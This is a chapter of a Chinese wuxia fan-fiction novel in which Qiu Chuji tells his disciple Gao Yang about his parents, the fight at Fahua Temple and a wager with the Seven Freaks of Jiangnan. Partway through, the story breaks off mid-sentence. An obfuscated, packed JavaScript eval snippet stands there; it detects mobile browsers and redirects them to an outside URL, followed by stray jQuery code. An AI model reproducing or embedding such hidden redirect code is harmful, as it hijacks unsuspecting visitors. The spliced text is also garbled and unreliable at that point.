丘处机又道:“为师一听就知道这两家是受了我连累,两人既然已经身故,无论如何,贫道都得救出他们两人的夫人,不致使其落入牢狱之中,便也不与那些奉命行事的兵士计较,直入营寨,寻当日奉命抓人的段天德找两位夫人,未料那姓段的奸猾,竟抓了人一起遁逃,那时为师一番搜索,不见两位夫人,便以为都被他带走,一路追索,到了嘉兴,眼见得他带人进了法华寺,心想法华寺的和尚竟帮着窝藏女子,不是出家人的做派,便与法华寺的主持焦木大师起了冲突。”
高阳听他唤焦木“大师”,便知道此事只怕焦木和尚也十分无辜。
果不其然,丘处机苦笑了一声道:“为师性子急躁,加上一路从临安追到嘉兴,一路上都是帮着段天德隐藏的,所以控制不住脾气,当场与焦木争吵起来,他说未曾有两名女子在此,贫道说亲眼所见,要他交出人来,焦木便请了嘉兴本地的一众地头蛇来说和,约在醉仙楼。”
高阳既知焦木无辜,便明白了丘处机后悔什么,他当日若是将自己的经历、目的都一一明说,焦木和尚也是个通情理的,必然会寻段天德对峙,段天德抓了人自保逃窜,不问还能隐瞒,只要一问,女子的身份必然露馅,这样两边不必继续争执,也能抓住他救下人来,可看丘处机的神色,应当是两边一个急着要人,一个不明所以,反倒教段天德趁机跑了。
事实也与他推测的大差不差。
丘处机道:“为师与那焦木各执一词,江南七怪一意向着焦木,说他为人断不会做出窝藏女子之事,本来两边已经说到要去寺中寻找,却就在此刻来了一群金兵,为师愈发上火,觉得这江南七怪竟与金人勾结,也不是好人,便杀将出去,直奔法华寺。”
高阳不解地问道:“金兵?这嘉兴哪里来的金兵,还围攻师父?”
丘处机摆手道:“为师惯来与金人奸臣作对,现在想来,大约是醉仙楼里哪个认出为师来,才引得金兵来围攻。”
高阳微微摇头:“嘉兴毕竟是宋国的地方,金兵到了宋国,没有长官下令,也不能擅动,宋国的官府更不可能调动金兵,何况会有金兵在嘉兴本就十分怪异,这么说来,应当是师父所说的金国使节有军队护送,几月后折返,恰好也在此地了。”
而那时金国的使节,正是完颜洪烈,这么说来,他是因为杀王道乾的事围杀师父吗?
丘处机想了想,觉得多半也是如此。
高阳却想起包惜弱曾对他说过的话,她说自己曾救过完颜洪烈,后来又被完颜洪烈救了,结合丘处机所说,此事的脉络就清楚起来,完颜洪烈一个金国王爷在宋国有什么需要包惜弱一个柔弱女子相救的?只有师父当日杀了追兵,年少时的完颜洪烈不知江湖高手的深浅,被丘处机重伤,但未死,为包惜弱所救,后来包惜弱被宋朝官兵抓走,宋国官员要给金人一个说法,完颜洪烈由此得知包惜弱被抓,便救了她出来。
那当日有金兵围攻丘处机,便是在完颜洪烈带包惜弱路过此地了,未曾想,师父竟与母亲擦肩而过了。
丘处机又道:“这一去法华寺,为师与江南七怪并焦木和尚大打出手,直到两方都伤重,那段天德才跑了出来,想要取为师性命,焦木大师阻拦,他还要砍伤大师,为两个小沙弥阻止,见他伤人,他身边做军士打扮的人才出声阻拦,正是郭家那位夫人,江南七怪也才知道究竟,这段天德确确实实不是好人,焦木大师为了阻拦段天德伤人,丢了性命,段天德被吓破了胆,害怕寺中和尚找他算账,拉上郭家的夫人逃走了。”
后来丘处机才知道,那段天德有个伯父与他素来不合,叫做枯木,也是焦木的同门,他花言巧语哄骗了枯木大师,从枯木那里得了书信,托在法华寺藏身,焦木相信枯木的人品,故而从未怀疑过段天德。
可笑他们一群江湖好手,九个人都被一个不会武功的段天德耍得团团转,若不是焦木奋力抗争,丘处机几乎死在段天德手里,后来更是被他带着郭家那位夫人一路北上,数年都未回转南方,彻底失了踪迹,也不知是死是活,丘处机才放弃了继续寻段天德。
高阳却想起包惜弱说,完颜洪烈逼着宋庭杀了韩胄,也将段天德治罪了,已经帮她报了仇,可按照师父的说法,段天德那几年分明逃祸去了,并未回转朝廷,问罪之说从何而来?完颜洪烈对包惜弱十多年来予取予求,痴心不二,明知道那是包惜弱的仇人,为什么在这件事上对她说谎?
丘处机讲完了前情,这才说到自己今日揭开此事的源头:“为师与那江南七怪此番争斗,走了段天德和郭家的夫人,因焦木之死,颇有些愧疚,本想着化解这桩恩怨,可那江南七怪的老大柯镇恶也是个怪脾气,他着意和道士较劲,为师行走江湖多年,还未曾怕过谁,他要论胜负,我便与他论个胜负。于是我将郭杨两家的事对他们明言,和他七人打了一个赌。”
当日段天德带走的只有李萍,丘处机就要分头再去找杨家的夫人,那李萍也是因为江南七怪执意阻拦丘处机入寺搜找才被拐走的,丘处机觉得让他们去寻也是应该。
只是,若只是打赌谁先找回两位夫人,显不出他们的手段,于是丘处机想到了一个主意。
丘处机道:“我与江南七怪约定,两家各找到一位夫人,刚好她们都怀有身孕,两个孩子的年纪相仿,生下来后咱们各自收徒,将自己毕生所学传授于他,待十八年后,再次在嘉兴醉仙楼聚会,让两个孩子比武过招,谁胜了,才是真正赢了。”
“因他们在法华寺中见过阻拦段天德的郭家夫人,所以由他们去寻,而贫道则天南海北地寻找杨家那对母子。”
他说完,双眼看着高阳,目光复杂:“康儿,你明白了吗?”
高阳默默站起身,他眼中隐隐含泪,弯腰向丘处机行了一个大礼:“师父,劳您费心,为一面之缘,奔波十余载,还教授弟子武艺。”
这桩赌约纵然有意气之争,可最终受益的还是郭杨两家的孩子,自家还好,能有王府托身,而那郭家母子被奸人挟持,若没有人营救帮扶,真不知如今该落得如何。
丘处机将他扶起:“我辈侠义中人,与朋友结交,便该肝胆相照、性命相托,扶危济困、救人之难,人所应为,不要说我与你两家有交情,就是没有,悯忠恤孤也是应当。何况你两家的遭遇,也有为师的缘故。”
高阳摇头道:“师
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159473|196574||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
父本是路过,也未曾隐瞒身份,那些官兵若讲理,就该追着师父去,为难郭杨两家,本就是他们执法不公,恶人做得恶事,为什么反而要去苛责好人?若要这么说,那岂不是还要怪我那亲生父亲和郭伯父,他们好端端做什么要请人喝酒?就这么让师父走过去了,不也无事?天寒地冻时请人喝热酒本是热情善举,师父诛杀叛国奸贼也是义举,您三位能相逢是意气相投的缘分,其中是非黑白,徒儿还是分得清的。”
丘处机叹息着拍了拍他的肩:“你生性淳善,聪慧却不偏狭,是个好孩子。”
高阳擦了擦眼泪,追问道:“师父来时说,江南七侠的张五侠死在了塞外,这又是怎么一回事?”
丘处机神色凝重道:“为师立下这桩赌约,自然也要打听江南七怪是否找到了李氏夫人,毕竟赌约是一回事,寻人更重要。全真教的弟子遍布天下,人脉广博,按理来说多年里早该探知消息,却一直了无音讯,直到有人自大漠来,方知江南七怪去了草原,并在一位叫做铁木真的首领麾下,教他的幼子搏击之术,其实还有一个真正的弟子,是个男孩叫做郭靖。只是来人说,起初他们是七人在大漠中寻找,可数年前老五张阿生为人所杀,如今只剩下六人,至于仇人是谁,为师倒不清楚。”
高阳点头道:“这么说来,郭伯母和郭家那位兄弟安然无恙了。”
他由衷叹了一声:“江南七侠为了和师父的意气之争,离开江南富庶之地,远赴大漠十余年,在那草原上教得郭家兄弟成材,真侠客义士,命殒塞外,实为可叹。”
丘处机道:“正因如此,为师才要将此中境况告诉你。漠北那边我已遣了你师弟志平去送信,一来是与江南七怪招呼,将履约之事说明,二来也是让志平去看看那孩子的武功人品如何。”
他倒不担心郭家的孩子武艺多强,江南七怪的武功底子丘处机心中有数,七人合力教授,十年磨砺估摸着也与志平差不多,绝不是康儿的对手。他这个弟子禀赋过人,论天资远在自己之上,颇有些自家师父王重阳的风范,习武读书都一点就通,还能静心用功,吃苦打下基础,道武双修,在全真派的武功上进境极快。
不要看这孩子年方十五,就论内功修为,江湖上一般成年的好手也不如他。
丘处机对此十分欣慰欢喜,却并不觉得如何得意,毕竟这是孩子自身天赋好,不是他丘处机的手段多么高明,若当日两边所教的孩子对换,让他去教一个寻常孩子,十多年苦功下去,也多半赢不了对面。
所以他虽然坚持要在嘉兴醉仙楼再会,可对两个孩子比武的胜负本身已然不那么放在心上,更多是想看看郭靖的人品如何。
高阳道:“师父将弟子的身世揭开,是要带弟子前去嘉兴,等候郭家的兄长前来相会吗?”
丘处机道:“还有两年的时间,倒也不那么急迫,只是你已十五,为师当年答应过你母亲,待你长大再告知你实情,借着这个机会,是该让你知晓自己的身世。而后带你到江湖上走两年,和人过过手,长些交手的经验,不至于来日和人过招时应变不及。”
高阳微微颔首,轻叹道:“既然如此,那弟子做些安排。”